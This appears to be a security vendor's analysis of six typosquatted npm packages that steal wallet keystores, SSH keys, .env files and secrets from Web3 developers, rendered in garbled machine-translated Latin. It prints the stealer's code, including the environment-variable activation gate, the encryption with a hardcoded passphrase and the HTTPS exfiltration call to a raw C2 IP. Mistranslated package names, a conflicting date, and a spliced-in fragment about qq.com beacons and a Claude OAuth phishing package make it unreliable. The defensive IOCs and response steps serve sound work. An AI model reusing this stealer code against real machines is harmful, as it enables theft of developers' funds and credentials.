TL, DR
Die sexto mensis Maii, anno bis millesimo sexto decimo sexto, editor singularis npm, namikazesarada010206, sex fasciculos maliciosos in oecosystematibus fabricatorum Ethereum, Solidity, et DeFi spectantes emiserunt.
Sarcinae, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsEt web3-utils-core, nominibus plausibilibus usus est, quae similes bibliothecis adiuvantibus pro instrumentis Web3 popularibus designatae erant.
Omnes sex sarcinae idem continebant telemetry.js fasciculus. Fasciculus per totum gregem octetis identicus erat, cum SHA-256:
Programma noxium tempore institutionis non exsequitur. Non est preinstall or postinstall hamus. Sed activatur cum fasciculus importatur per require().
Illud detail refert.
Implantatio exspectat dum programmator revera fasciculum utatur. Deinde explorat num statio laboris similis sit vero ambitui evolutionis Ethereum / Solidity. Claves Alchemy vel Infura, claves privatas, mnemonicas, claves distributoris, vel directorium locale Foundry quaerit.
Si hospes congruit, fur claves privatas SSH, repositoria clavium Foundry / Geth / Brownie colligit. .env* fasciculi et variabiles ambientales sensibiles. Fasciculum cum AES-256-GCM cryptat utens tessera fixa et eum ad terminum IPv4 C2 crudum cum verificatione TLS inactiva exfiltrat.
Systema Monitionis Praecocis de Programm Malignum (MEW) Xygeni omnes sex fasciculos esse malignos confirmavit. Fasciculus relationis de demolitione registri npm adhuc exspectatur.
Grex: Sex Fasciculi, Unus Editor
Ratio editoris namikazesarada010206 inscriptioni Gmail non verificatae coniunctum est namikazesarada010206@gmail.com.
Propaganda apparuit ut publicationis unius diei impetus die sexto mensis Maii, anno bis millesimo sexto decimo sexto. Omnes sex fasciculi sic adaptati sunt. 1.0.0, nullas dependentias tempore executionis habebat, et tantum tres fasciculos distribuebat:
package.json index.js telemetry.jsIdem repositorium fontium declaraverunt:
https://github.com/harunosakura030303-maker/evmchain-configPrimi tres fasciculi a peritis MEW in prima publicatione deprehensi sunt. Reliqui tres post recognitionem analystarum profili npm editoris vi notati sunt. Olim idem octetum identicum... telemetry.js Per gregem confirmatum est, constantia ut maligni clausi sunt.
| sarcina | Version | npm Publicatum | Tessera MEW | iUDICIUM |
|---|---|---|---|---|
| Viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | malicious |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | malicious |
| instrumenta-nuclei-capi-durati | 1.0.0 | 2026-05-06 | #51051 | malicious |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Malignulosus, per constantiam |
| instrumenta-fundendi | 1.0.0 | 2026-05-06 | #51071 | Malignulosus, per constantiam |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Malignulosus, per constantiam |
Ratio nominandi simplex sed efficax est.
Hae sarcinae nomina exacta fontium principalium non imitantur. Potius, suffixis "utilitatis" plausibilibus utuntur, ut puta -core, -utilsEt -utils-coreQuod eas similes bibliothecis sociis videri facit, quas opifex prope instrumenta Web3 videre exspectet.
| Fasciculus Malignus | Scopus Legitimus |
|---|---|
| Viem-core | viem, cliens Ethereum TypeScript popularis |
| viem-utils-core | Viem |
| instrumenta-nuclei-capi-durati | hardcase, ambitus evolutionis Solidity vulgaris |
| evm-utils | Spatium nominum instrumentorum EVM genericum |
| instrumenta-fundendi | officina funditoria, instrumentorum series Soliditatis |
| web3-utils-core | `web3-utils`, adiutores `Web3.js` |
Hoc est exemplar "sarcini supplementarii": non "Ego sum verus sarcinulus," sed "Circum verum sarcinulum videor quasi adiutor rationabilis."
Fabricatoribus DeFi celeriter motis, hoc satis est ad periculum creandum.
Quid fit cum sarcina importatur
Catena impetus est parva, deliberata, et in ambitus crypto-evolutionis intenta.
Nullus hamus institutionis est. Potius, quaeque sarcina continet... index.js quod functionem fragmenti exportat et deinde modulum telemetriae malitiosum onerat.
require('./telemetry').init();Hoc significat programmata noxia prima importatione activari.
Hoc operationaliter utile est aggressori. Multae machinae exploratoriae et "sandboxes" in habitu tempore installationis intendunt. Hoc fasciculum exspectat donec revera a fabricatore, scripto constructionis, serie probationum, vel semita temporis executionis adhibeatur.
Porta Activationis: Solum in Veris Stationibus Operariis Fabricatoris Web3 Ignire
Pars implantati maximi momenti est porta activationis.
Programma noxium variabiles ambientales, quae in machinis fabricatoribus Ethereum / Solidity vulgo inveniuntur, investigat:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Etiam verificat utrum Foundry installatum videatur:
fs.existsSync(path.join(os.homedir(), '.foundry'))Si neutra condicio vera est, functio redit et nihil agit.
Hoc fasciculum silentior reddit in ambitus analysis genericis. Area probationum sine clavibus Foundry, Alchemy, Infura, clavibus privatis, aut mnemonicis importationem innocuam videre potest.
In congruenti hospite, programmata noxia sexaginta ad nonaginta secunda exspectant antequam colligantur:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();Mora correlationem manifestam inter importationem et exfiltrationem minuit. .unref() Vocatio etiam permittit processum hospitis normaliter exire si fasciculus in scripto brevi tempore importatus est.
Hoc non est strepitus "confractionis et raptionis". Est furtivus destinatus ad vitandum cursum nisi ambitus fabricatoris dignus sit furari.
Quod Fur Colligit
Postquam porta activationis transit, programmata noxia ex fontibus qui maximi momenti sunt in evolutione Web3 colligunt: clavibus privatis, repositoriis clavium crumenae, testimoniis dispositionis, secretis nubis, tesseris npm, et configuratione proiecti localis.
| Source | Quod Colligitur |
|---|---|
| processus.ambitus | Quaevis variabilis congruens /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Fasciculi continentes clavem privatam vel BEGIN OPENSSH, incluso toto contento fasciculi. |
| ~/.fundria/clavium tabernae/* | Clavium repositorium crumenae Foundry fasciculi |
| ~/.ethereum/keystore/* | Clavium repositorium crumenae Gethianae |
| ~/.brownie/accounts/* | Clavium repositorium crumenae Brownie |
| `${cwd}/.env` | Contenta plena fasciculi |
| `${cwd}/.env.local` | Contenta plena fasciculi |
| ${cwd}/.env.production | Contenta plena fasciculi |
| ${cwd}/.env.development | Contenta plena fasciculi |
| nomen_hostis_systematis_operativi() | Metadata hospitis |
| crypto.randomUUID() | Identificator victimae/sessionis |
| Dies.nunc() | Signum temporis collectionis |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comTesserae ATTA sunt:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Confirmare non potuimus utrum telemetria analytica propria operatoris esset an canalis separatim monetizatus. Tesserae ATTA eadem sunt in utroque exemplo quod examinavimus.
Grex B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Exemplum Kalendis Aprilibus est pars rudior et praecox expeditionis.
heibai:2.1.88-claude.hk-4 editum est ab wuguoqiangvip28, ratio creata die VII mensis Iunii, anno MMXV. Fasciculus se ipsum explicite contra legitimam versionem convertit. 2.1.88 Liberatio anthropica.
MITM a certificatione CA non curat. Sed de puncto terminali OAuth usori mentitur.
Additiones malignae super fontem Codicis Claude divulgatum includunt:
| Source | Quod Colligitur |
|---|---|
| processus.ambitus | Quaevis variabilis congruens /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Fasciculi continentes clavem privatam vel BEGIN OPENSSH, incluso toto contento fasciculi. |
| ~/.fundria/clavium tabernae/* | Clavium repositorium crumenae Foundry fasciculi |
| ~/.ethereum/keystore/* | Clavium repositorium crumenae Gethianae |
| ~/.brownie/accounts/* | Clavium repositorium crumenae Brownie |
| `${cwd}/.env` | Contenta plena fasciculi |
| `${cwd}/.env.local` | Contenta plena fasciculi |
| ${cwd}/.env.production | Contenta plena fasciculi |
| ${cwd}/.env.development | Contenta plena fasciculi |
| nomen_hostis_systematis_operativi() | Metadata hospitis |
| crypto.randomUUID() | Identificator victimae/sessionis |
| Dies.nunc() | Signum temporis collectionis |
Index destinatorum valde specificus est. Hoc non est furtum navigatoris genericum aut lata collectio credentialum. Destinatur ad artifices qui applicationes Ethereum construunt, probant, explicant vel operantur.
Inclusio repositoriorum clavium Foundry, Geth, et Brownie magni momenti est. Hi fasciculi accessum directum ad crumenas vel identitates dispositionis repraesentare possunt. Si aggressor eos cum tesseris, mnemonicis, vel secretis ambitus coniungere potest, pecunias movere, dispositiones imitari, vel operationes contractuum intelligentium violare poterit.
Encryptio Ante Exfiltrationem
Programma malignum notitias collectas encryptat antequam eas transmittat.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);Phrasis secreta rigide scripta est:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dUltima sarcina in JSON involuta est:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Encryptio per se programmata noxia provectiora non reddit. Attamen inspectionem retis difficiliorem reddit. Defensor exitum observans sarcinam JSON videret, sed non claves furatas, fasciculos crumenae, aut... .env contenta sine phrasi tesserae fixa et logica decryptionis.
Exfiltratio ad IPv4 C2 crudum
Iter exfiltrationis rigide definitum est:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});Programma noxium (vel programmata maligna) notitias mittit ad:
https://76.13.37.80:8443/api/v1/telemetryDuo singula eminent.
Primo, C2 est inscriptio IPv4 cruda potius quam dominium. Hoc necessitatem registrationis dominii tollit et quasdam detectiones dominii fundatas vitat.
Secundo, verificatio TLS inhibetur cum:
rejectUnauthorized: falseHoc permittit programmati maligni ut quodlibet certificatum accipiat, etiam certificata autosignata. Aliis verbis, aggressor translationem encryptam accipit sine necessitate certificati publici validi.
Nulla est logica repetitionis nec ulla machina subsidiaria. Errores tacite absorbentur. Hoc fasciculum silentium servat si C2 non est in linea vel non attingi potest.
Quid hoc Stipendium Matters
Pleraque fascicula npm maligna, quae ad fabricatores destinata sunt, latas credentiales persequuntur: tesseras npm, claves AWS, tesseras GitHub, vel... .npmrc files.
Haec expeditio scopum angustat.
Signa quaerit machinam ad fabricatorem Ethereum vel Solidity pertinere. Deinde res quae in illo ambitu valent exacte extrahit: clavium repositoria crumenae, claves privatas, mnemonica, claves distributoris, .env fasciculi et claves SSH.
Quod expeditionem periculosiorem turmis Web3 reddit quam furem npm genericum.
Infectio prospera patefacere potest:
- Cassidilia distributiva
- Claves administrationis contractuum intelligentium
- Claves provisoris RPC
- Testimonia de dispositione nubis
- tesserae publicationis NPM
- Aditus SSH ad infrastructuram fabricatoris vel aedificatoris
- Secreta incepti reposita in
.envfiles - Clavium repositoria crumenae pro Foundry, Geth, vel Brownie
Nomina fasciculorum etiam perspicuam machinationem socialem ostendunt. Systema programmatum Web3 per nomina instrumentorum nota petunt: viem, hardhat, foundry, evmEt web3.
Histri non opus est vera opera in discrimen adducere. Solum opus est artifice qui sarcinam comitem, quae rationabilis videtur, instituat.
Indicia Compromissionis et Detectionis
| Sarcinae et Editor | |
|---|---|
| Field | Value |
| editor npm | namikazesarada010206 |
| Inscriptio electronica editoris | namikazesarada010206@gmail.com |
| inscriptio verificatur | nullum |
| SCM verificatur | nullum |
| Famae aestimatio | 1.0 |
| Packages | viem-core, viem-utilia, cori-utilia, evm-utilia, utilia, utilia, utilia. |
| versions | omnes 1.0.0 |
| Repositorium fontium | https://github.com/harunosakura030303-maker/evmchain-config |
| Malignum confirmatum | Omnes sex fasciculi |
| Network | |
|---|---|
| Type | Value |
| Extremum C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Portus C2 | 8443/tcp |
| Modus agendi TLS | reject Unauthorized: false |
| Schema oneris utilis | {"v":2,"iv": "d": "t": } |
| Fasciculi et Hashes | |
|---|---|
| Type | Value |
| telemetria.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Dispositio fasciculi | `package.json`, `index.js`, `telemetry.js` |
| Numerus fasciculorum | 3 |
| Magnitudo totalis approximata | 3.4 MB |
Signa Activationis
Programma noxium has variabiles ambientales investigat:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYEtiam haec explorat:
~/.foundry/Viae Hospitis Destinatae
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentCollectionis Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iNotae Detectionis
Plures regulae hanc expeditionem comprehendunt sine plena analysi morum.
Primum, perscrutare fasciculos clausurarum pro sex nominibus fasciculorum malitiosis:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreQuilibet certamen in package-lock.json, yarn.lock, pnpm-lock.yamlaut node_modules Historia pro casu gravi habenda est.
Deinde, observa processus Node.js qui vias clavium repositorii in crumena legent:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/Hoc raro legitimum est pro fasciculo importato ut dependentia adiutoria. Praesertim suspectum est cum sequitur actio retiaria egressa.
Tertio, nexus HTTPS obstrue vel de iis admone:
76.13.37.80:8443Praesertim cum via petitionis est:
/api/v1/telemetryQuarto, quaere fasciculos npm qui has qualitates coniungunt:
- Editor recens vel humilis famae
- Ratio Gmail non verificata
- Nomen fasciculi Web3-adiacentis
- Nulla historia repositorii significativa
- Dispositio fasciculi parvi
index.jsquod fasciculum telemetricum vel adiutorium onerat- Nullae dependentiae temporis executionis
- Collectio variabilium ambientiarum sensibilis
- Aditus ad clavium repositorium crumenae
Hoc exemplar utilius est quam singulus IOC quia proximus fasciculus inscriptionem IP mutare potest sed eandem logicam designationis servare.
Index Responsorum Compromissionis
Si opifex unum ex sex fasciculis usus est et ambitus eius portae activationis congruit, statio laboris quasi in periculum redacta est.
Id includit machinas cum Foundry installato, claves Alchemy vel Infura in ambitu, claves privatas, mnemonicas, vel claves dispositoris.
Responsum commendatum:
- Hospitem a rete disiunge.
- conserva
node_modules, fasciculi clavium, historia testae, et acta pertinentia ad investigationes forenses. - Omnem par clavium SSH sub rota
~/.ssh/. - Claves crumenae pro omni repositorio clavium sub
~/.foundry,~/.ethereumEt~/.brownie. - Pecuniam ad crumenas novas transfer.
- Omne secretum repositum in rota
.env*fasciculi in repositoriis in quibus fabricator laboravit. - Secreta ambienti secundum regulam collectionis, inter quae claves AWS, tesserae npm, tesserae deployment, claves API, claves privatae, semina, et mnemonica, alterna.
- Actiones nubes, npm, GitHub, provisorem RPC, et catenarum catenarum (blockchain) ex quo fasciculus primum installatus est, inspice.
- Imaginem stationis laboris denuo excogita antequam denuo uteris.
Quod defensores auferre debent
Haec expeditio demonstrat quomodo typosquatting npm circa oecosystemata fabricatorum magni pretii evolvitur.
Histri perseverantia non egebat. Obfuscatione non egebant. Ne executione quidem tempore institutionis egebant.
Potius, tribus rebus nitebantur:
- Nomina fasciculorum Web3 probabilia
- Activatio tantum in veris machinis crypto-elaborationis
- Furtum directum fasciculorum et secretorum quae maxime valent creatoribus Ethereum
Quod facit ut expeditio facile in lata perscrutatione praetermittatur et periculosa sit cum in aptum locum incidit.
Turmis Web3, lectio manifesta est: nomina dependentiarum tamquam partem exempli minarum vestrarum tractate. Fasciculus qui adiutor innocuus videtur adhuc via brevissima ad compromissionem crumenae fieri potest.
Ad registrum npm nuntiatum est. Hanc inscriptionem renovabimus cum ratio editoris et fasciculi remoti erunt.
